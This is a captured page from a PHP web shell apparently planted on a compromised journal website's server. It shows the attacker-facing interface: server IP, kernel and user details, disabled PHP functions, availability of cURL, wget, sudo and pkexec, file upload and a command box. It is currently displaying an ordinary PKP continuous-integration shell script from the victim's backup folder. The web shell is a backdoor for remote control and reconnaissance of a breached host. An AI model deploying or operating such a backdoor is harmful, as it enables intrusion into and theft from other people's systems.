Mr.Fn4ticHz Shell
Server IP : 10.10.92.66  /  Your IP : 104.23.197.230
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux jurnalpolinema 5.15.0-177-generic #187-Ubuntu SMP Sat Apr 11 22:54:33 UTC 2026 x86_64
User : jurnal ( 1001)
PHP Version : 7.4.33
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/jurnal/bckup/tools/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /home/jurnal/bckup/tools/startSubmodulesTRAVIS.sh
#!/bin/bash
git config --global user.email "[email protected]"
git config --global user.name "PKP"
echo "1 - Retrieving git user:"
gitUser=$(cat .git/config | grep -A2 "remote \"origin\"" | grep "url" | cut -f2 -d":" | cut -f4 -d"/")
echo "    Gituser: $gitUser"
echo "2 - Verifying if we have a merge commit in HEAD:"
isMergeCommit=$(git log -m --pretty=oneline -n1 | grep -P "Merge [0-9a-z]{40} into [0-9a-z]{40}")
echo "    Merge commit message: $isMergeCommit"
if [ \( -n "$isMergeCommit" \) -a \( "$gitUser" = "pkp" \) ]; then
	commitHash=$(git log -m --pretty=oneline -n2 | sed -n 2p | grep -Po "^[0-9a-z]{40}")
	echo "    HEAD points to a merge commit."
	echo "    HEAD^ points to a common commit with hash $commitHash"
else
	commitHash=$(git log -m --pretty=oneline -n1 | grep -Po "^[0-9a-z]{40}")
	echo "    HEAD points to a common commit with hash $commitHash"
fi
echo "3 - Verifying if last non merge commit is a subproject commit:"
libModuleHash=$(git show "$commitHash" | grep "+Subproject commit" | cut -f3 -d" ")
strLength=${#libModuleHash}
echo "    Subproject commit hash: $libModuleHash"
if [ \( -n "$libModuleHash" \) -a \( "$strLength" -eq 40 \) ]; then
	echo "    Last non merge commit is subproject commit."
	echo "4 - Trying to get user and branch from commit message:"
	userAndBranch=$(git log --pretty=oneline -1 "$commitHash" | grep -o "##.*##" | sed "s:^##\(.*\)##$:\1:")
	gitUser=$(echo "$userAndBranch" | cut -f1 -d"/")
	branch=$(echo "$userAndBranch" | cut -f2- -d"/")
	echo "    User and branch: $userAndBranch - User: $gitUser - Branch: $branch"
	if [ \( -n "$gitUser" \) -a \( -n "$branch" \) ]; then
		echo "    Found user and branch in commit message."
		echo "5 - Reseting the subproject commit in application."
		git reset --hard "$commitHash"^
		echo "6 - Initializing and updating submodule from official."
		git submodule update --init --recursive
		cd lib/pkp
		echo "7 - Updating pkp-lib with code from $gitUser repository, $branch branch."
		git remote add "$gitUser" git://github.com/"$gitUser"/pkp-lib
		git reset --hard HEAD
		git pull --rebase "$gitUser" "$branch"
		exit 0
	fi
fi
git submodule update --init --recursive

Mr.F4ticHz - 2022
Mr.Fn4tcHzam